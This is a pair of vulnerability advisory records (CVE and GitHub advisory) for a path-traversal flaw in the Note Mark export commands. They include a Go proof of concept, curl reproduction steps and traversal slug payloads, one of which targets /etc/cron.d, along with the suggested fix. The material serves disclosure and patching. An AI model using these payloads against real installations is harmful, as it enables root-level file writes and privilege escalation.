{
  "affected": [
    {
      "affectedData": [
        {
          "product": "note-mark",
          "vendor": "enchant97",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.19.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Note Mark is an open-source note-taking application. Prior to version 0.19.5, Note Mark validates book and note slug values with the OpenAPI/huma tag pattern:\"[a-z0-9-]+\". huma compiles this with regexp.MustCompile(s.Pattern) and tests it with patternRe.MatchString(str), an UNANCHORED match. Because the pattern is not anchored (^...$), any string that merely CONTAINS one [a-z0-9-] substring passes validation. A slug such as ../../../../../../tmp/escape is accepted and stored verbatim. The data-export CLI commands (note-mark migrate export and note-mark migrate export-v1) join these unsanitized slugs straight into the output path with path.Join / filepath.Join, then os.MkdirAll the directory and os.Create the note file. path.Join resolves the ../ segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write. This issue has been patched in version 0.19.5."
    }
  ],
  "id": "CVE-2026-50553",
  "lastModified": "2026-09-04T18:17:52.203",
  "metrics": {
    "cvssMetricV40": [
      {
        "cvssData": {
          "Automatable": "NOT_DEFINED",
          "Recovery": "NOT_DEFINED",
          "Safety": "NOT_DEFINED",
          "attackComplexity": "LOW",
          "attackRequirements": "NONE",
          "attackVector": "NETWORK",
          "availabilityRequirement": "NOT_DEFINED",
          "baseScore": 8.6,
          "baseSeverity": "HIGH",
          "confidentialityRequirement": "NOT_DEFINED",
          "exploitMaturity": "NOT_DEFINED",
          "integrityRequirement": "NOT_DEFINED",
          "modifiedAttackComplexity": "NOT_DEFINED",
          "modifiedAttackRequirements": "NOT_DEFINED",
          "modifiedAttackVector": "NOT_DEFINED",
          "modifiedPrivilegesRequired": "NOT_DEFINED",
          "modifiedSubAvailabilityImpact": "NOT_DEFINED",
          "modifiedSubConfidentialityImpact": "NOT_DEFINED",
          "modifiedSubIntegrityImpact": "NOT_DEFINED",
          "modifiedUserInteraction": "NOT_DEFINED",
          "modifiedVulnAvailabilityImpact": "NOT_DEFINED",
          "modifiedVulnConfidentialityImpact": "NOT_DEFINED",
          "modifiedVulnIntegrityImpact": "NOT_DEFINED",
          "privilegesRequired": "LOW",
          "providerUrgency": "NOT_DEFINED",
          "subAvailabilityImpact": "NONE",
          "subConfidentialityImpact": "NONE",
          "subIntegrityImpact": "NONE",
          "userInteraction": "PASSIVE",
          "valueDensity": "NOT_DEFINED",
          "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
          "version": "4.0",
          "vulnAvailabilityImpact": "HIGH",
          "vulnConfidentialityImpact": "HIGH",
          "vulnIntegrityImpact": "HIGH",
          "vulnerabilityResponseEffort": "NOT_DEFINED"
        },
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-50553",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-04T17:46:26.605003Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-04T18:17:52.203",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/enchant97/note-mark/releases/tag/v0.19.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-20"
        },
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/enchant97/note-mark/backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260601210719-67b7de04308a"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50553"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-09T13:41:35Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNote Mark validates book and note `slug` values with the OpenAPI/huma tag `pattern:\"[a-z0-9-]+\"`. huma compiles this with `regexp.MustCompile(s.Pattern)` and tests it with `patternRe.MatchString(str)`, an UNANCHORED match. Because the pattern is not anchored (`^...$`), any string that merely CONTAINS one `[a-z0-9-]` substring passes validation. A slug such as `../../../../../../tmp/escape` is accepted and stored verbatim.\n\nThe data-export CLI commands (`note-mark migrate export` and `note-mark migrate export-v1`) join these unsanitized slugs straight into the output path with `path.Join` / `filepath.Join`, then `os.MkdirAll` the directory and `os.Create` the note file. `path.Join` resolves the `../` segments, so the note content file is written OUTSIDE the configured export directory. The export process commonly runs as root (default in Docker / bare-metal admin usage), so this is a root-privilege arbitrary directory create + file write.\n\nThis is the unguarded sibling of GHSA-g49p-4qxj-88v3 (CVE class CWE-22 in the same export sinks). That fix added `filepath.Base(asset.Name)` to sanitize the asset filename, but the adjacent path components `book.Slug` and `note.Slug` \u2014 used in the very same `path.Join` calls in the same two export functions \u2014 were left raw, and their input-side `pattern` guard is bypassable as shown above.\n\n## Vulnerable code\n\nSlug input validation (`backend/db/types.go`, v0.19.4):\n\n```go\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\n\ntype CreateNote struct {\n\tName string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n}\n```\n\nhuma applies the pattern UNANCHORED (`github.com/danielgtaylor/huma/v2@v2.37.3`):\n\n```go\n// schema.go\nif s.Pattern != \"\" {\n\ts.patternRe = regexp.MustCompile(s.Pattern)\n```\n\n```go\n// validate.go\nif s.patternRe != nil {\n\tif !s.patternRe.MatchString(str) {\n\t\tres.Add(path, v, s.msgPattern)\n```\n\n`regexp.MatchString(\"[a-z0-9-]+\", \"../../../../tmp/escape\")` is `true` (it matches the `tmp` substring), so the traversal slug passes and `BooksService.CreateBook` / `NotesService` store it verbatim.\n\nExport sinks (`backend/cli/migrate.go`, v0.19.4). The asset filename was sanitized by the GHSA-g49p fix; the sibling slug path components were not:\n\n```go\n// commandMigrateExportDataV1 / commandMigrateExportData\nfor _, book := range user.Books {\n\tbookDir := path.Join(exportDir, user.Username, book.Slug)   // book.Slug raw\n\tfor _, note := range book.Notes {\n\t\tnoteDir := path.Join(bookDir, note.Slug)                // note.Slug raw\n\t\tif err := os.MkdirAll(noteDir, os.ModePerm); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tf, err := os.Create(path.Join(noteDir, \"_index.md\"))    // escapes exportDir\n```\n\n```go\n// the same functions DO sanitize the sibling asset name:\nassetFileName := filepath.Base(asset.Name)\nif assetFileName == \"/\" || assetFileName == \".\" {\n\tlog.Printf(\"disallowed asset filename found \u0027%s\u0027, skipping\\n\", asset.Name)\n\tcontinue\n}\nf, err := os.Create(path.Join(assetsDir, asset.ID.String()+\".\"+assetFileName))\n```\n\n## Impact\n\nA low-privilege authenticated user (any registered account that can create a book/note) sets a traversing `slug`. When an administrator later runs `note-mark migrate export` or `export-v1` (a routine backup/migration operation, commonly as root in Docker), the exporter creates attacker-chosen directories and writes the note\u0027s `_index.md` to an arbitrary filesystem location outside the export directory. With root, this allows writing to `/etc/cron.d/`, systemd unit directories, or other startup paths, escalating to code execution as root. Same trust boundary and severity class as GHSA-g49p-4qxj-88v3.\n\n## Attack scenario\n\n1. Attacker registers / uses any normal user account.\n2. Attacker `POST /api/books` (or a note) with `slug` = `../../../../../../etc/cron.d/x` (passes the unanchored `[a-z0-9-]+` pattern). Stored verbatim.\n3. Admin runs `note-mark migrate export-v1 --export-dir /data/backup` (root).\n4. Exporter does `path.Join(\"/data/backup\", username, \"../../../../../../etc/cron.d/x\")` which yields `/etc/cron.d/x`, then `os.MkdirAll` creates it and `os.Create(path.Join(noteDir, \"_index.md\"))` writes attacker-influenced content outside `/data/backup`.\n\n## Proof of concept\n\nSelf-contained Go reproducer pinning `huma v2.37.3` (Note Mark\u0027s exact version) and Note Mark\u0027s exact `CreateBook` DTO + the exact export `path.Join` expression. It demonstrates (a) the traversal slug passes huma validation, (b) a negative control that genuinely violates the charset is rejected, (c) the export sink writes the file outside the export root.\n\n```go\n// go.mod: module nmpoc; go 1.24; require github.com/danielgtaylor/huma/v2 v2.37.3\npackage main\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strings\"\n\n\t\"github.com/danielgtaylor/huma/v2\"\n\t\"github.com/danielgtaylor/huma/v2/adapters/humago\"\n)\n\n// Mirror of note-mark backend/db/types.go:24-28 CreateBook DTO at v0.19.4.\ntype CreateBook struct {\n\tName     string `json:\"name\" required:\"true\" minLength:\"1\" maxLength:\"80\"`\n\tSlug     string `json:\"slug\" required:\"true\" minLength:\"1\" maxLength:\"80\" pattern:\"[a-z0-9-]+\"`\n\tIsPublic bool   `json:\"isPublic,omitempty\" default:\"false\"`\n}\ntype CreateBookInput struct{ Body CreateBook }\ntype CreateBookOutput struct {\n\tBody struct {\n\t\tSlug string `json:\"slug\"`\n\t}\n}\n\nfunc main() {\n\tmux := http.NewServeMux()\n\tapi := humago.New(mux, huma.DefaultConfig(\"note-mark-poc\", \"1.0.0\"))\n\tvar stored string\n\thuma.Register(api, huma.Operation{OperationID: \"create-book\", Method: http.MethodPost, Path: \"/api/books\"},\n\t\tfunc(ctx context.Context, in *CreateBookInput) (*CreateBookOutput, error) {\n\t\t\tstored = in.Body.Slug // BooksService.CreateBook stores Slug verbatim\n\t\t\tout := \u0026CreateBookOutput{}\n\t\t\tout.Body.Slug = in.Body.Slug\n\t\t\treturn out, nil\n\t\t})\n\n\tconst traversalSlug = `../../../../../../tmp/nmpoc-escape`\n\tbody := fmt.Sprintf(`{\"name\":\"x\",\"slug\":%q}`, traversalSlug)\n\treq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(body))\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\trec := httptest.NewRecorder()\n\tmux.ServeHTTP(rec, req)\n\tfmt.Printf(\"[validation] slug=%q status=%d stored=%q\\n\", traversalSlug, rec.Code, stored)\n\n\t// Negative control: a slug with NO [a-z0-9-] char anywhere must be rejected.\n\tnegReq := httptest.NewRequest(http.MethodPost, \"/api/books\", strings.NewReader(`{\"name\":\"x\",\"slug\":\"@@@@\"}`))\n\tnegReq.Header.Set(\"Content-Type\", \"application/json\")\n\tnegRec := httptest.NewRecorder()\n\tmux.ServeHTTP(negRec, negReq)\n\tfmt.Printf(\"[neg-control] slug=\\\"@@@@\\\" status=%d (expect 422)\\n\", negRec.Code)\n\n\t// Export sink expression from backend/cli/migrate.go:187,191,203.\n\texportDir := \"/tmp/nmpoc-exportroot\"\n\t_ = os.RemoveAll(exportDir)\n\t_ = os.RemoveAll(\"/tmp/nmpoc-escape\")\n\t_ = os.MkdirAll(exportDir, 0o755)\n\tbookDir := path.Join(exportDir, \"victim\", stored)\n\tnoteDir := path.Join(bookDir, \"n\")\n\t_ = os.MkdirAll(noteDir, 0o755)\n\toutPath := path.Join(noteDir, \"_index.md\")\n\t_ = os.WriteFile(outPath, []byte(\"PWNED-NOTE-CONTENT\\n\"), 0o644)\n\tescaped := !strings.HasPrefix(path.Clean(outPath), path.Clean(exportDir)+\"/\")\n\tfmt.Printf(\"[export] joined=%q escapedExportDir=%v\\n\", outPath, escaped)\n\tif d, err := os.ReadFile(\"/tmp/nmpoc-escape/n/_index.md\"); err == nil {\n\t\tfmt.Printf(\"[export] SENTINEL written OUTSIDE exportDir =\u003e %q\\n\", strings.TrimSpace(string(d)))\n\t}\n}\n```\n\nVerbatim output (`go run .`, huma v2.37.3, go1.26.1):\n\n```\n[validation] slug=\"../../../../../../tmp/nmpoc-escape\" status=200 stored=\"../../../../../../tmp/nmpoc-escape\"\n[neg-control] slug=\"@@@@\" status=422 (expect 422)\n[export] joined=\"/tmp/nmpoc-escape/n/_index.md\" escapedExportDir=true\n[export] SENTINEL written OUTSIDE exportDir =\u003e \"PWNED-NOTE-CONTENT\"\n```\n\nThe traversal slug is ACCEPTED (status 200) while the negative control is correctly rejected (422), and the export `path.Join` writes the note file outside the export root.\n\n## End-to-end reproduction\n\nAgainst the released image `ghcr.io/enchant97/note-mark-aio:0.19.4` (the GHSA-g49p fix release):\n\n```bash\n# 1. start\ndocker run -d --name nm -p 8080:8080 -e JWT_SECRET=\"$(openssl rand -base64 32)\" \\\n  -e PUBLIC_URL=\"http://localhost:8080\" ghcr.io/enchant97/note-mark-aio:0.19.4\n# 2. register + login (capture Auth-Session-Token cookie)\ncurl -s -X POST localhost:8080/api/users -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"name\":\"a\"}\u0027\nTOKEN=$(curl -s -D - -X POST localhost:8080/api/auth/token -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"username\":\"attacker\",\"password\":\"Attack3r!\",\"grant_type\":\"password\"}\u0027 \\\n  | sed -n \u0027s/.*Auth-Session-Token=\\([^;]*\\).*/\\1/p\u0027)\n# 3. create a book with a traversing slug \u2014 passes the [a-z0-9-]+ pattern\ncurl -s -X POST localhost:8080/api/books -H \u0027Content-Type: application/json\u0027 \\\n  -b \"Auth-Session-Token=$TOKEN\" \\\n  -d \u0027{\"name\":\"x\",\"slug\":\"../../../../../../tmp/nmpoc-escape\"}\u0027\n#    response echoes \"slug\":\"../../../../../../tmp/nmpoc-escape\" (accepted, 200/201)\n# 4. add a note under that book (any valid note slug), then trigger admin export\ndocker exec nm /note-mark migrate export-v1 --export-dir /data/backup\n# 5. observe the note _index.md written outside /data/backup\ndocker exec nm ls -la /tmp/nmpoc-escape/\n```\n\nThe self-contained Go reproducer above is the deterministic, version-pinned demonstration of the validation bypass + sink escape (it does not require the full image build).\n\n## Suggested fix\n\nApply `filepath.Base()` (the same idiom already used for `asset.Name` in the GHSA-g49p fix) to the sibling slug path components in both export functions, and/or reject the result if it differs from the raw value:\n\n```go\nbookSlug := filepath.Base(book.Slug)\nnoteSlug := filepath.Base(note.Slug)\nif bookSlug != book.Slug || noteSlug != note.Slug {\n\tlog.Printf(\"disallowed slug found, skipping book=%q note=%q\\n\", book.Slug, note.Slug)\n\tcontinue\n}\nbookDir := path.Join(exportDir, user.Username, bookSlug)\nnoteDir := path.Join(bookDir, noteSlug)\n```\n\nRoot cause hardening (preferred): anchor the slug pattern at the input layer so traversal can never enter the DB. Either change the tag to an anchored regex `pattern:\"^[a-z0-9-]+$\"`, or reject `strings.ContainsAny(slug, \"/\\\\.\")` in the create/update handlers (mirroring the `PostNoteAsset` header check added by GHSA-g49p). `user.Username` (`pattern:\"[a-zA-Z0-9]+\"`) is also unanchored and should be anchored for the same reason.\n\n## Affected versions\n\n`\u003c= v0.19.4` (current latest release). The slug components are used unsanitized in `backend/cli/migrate.go` at v0.19.4, the release that fixed the sibling `asset.Name` traversal (GHSA-g49p-4qxj-88v3).\n\n## Fix PR\n\nA fix is prepared on the temporary private advisory fork: `enchant97/note-mark-ghsa-rqrh-8wpv-x7hh` PR #1. It anchors the slug/username `pattern` tags (`^[a-z0-9-]+$` / `^[a-zA-Z0-9]+$`) at the input layer and adds defense-in-depth `filepath.Base()` checks to both export functions, plus a regression test. `go test ./backend/db/` passes with the fix and fails against the old unanchored pattern.\n\n## Credit\n\nReported by tonghuaroot.",
  "id": "GHSA-rqrh-8wpv-x7hh",
  "modified": "2026-07-09T13:41:35Z",
  "published": "2026-07-09T13:41:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/enchant97/note-mark/security/advisories/GHSA-rqrh-8wpv-x7hh"
    },
    {
      "type": "WEB",
      "url": "https://github.com/enchant97/note-mark/commit/67b7de04308a858ef27ceff87b514067b6d667e5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/enchant97/note-mark"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Note Mark: Path traversal via unsanitized book/note slug in migrate export (sibling of GHSA-g49p)"
}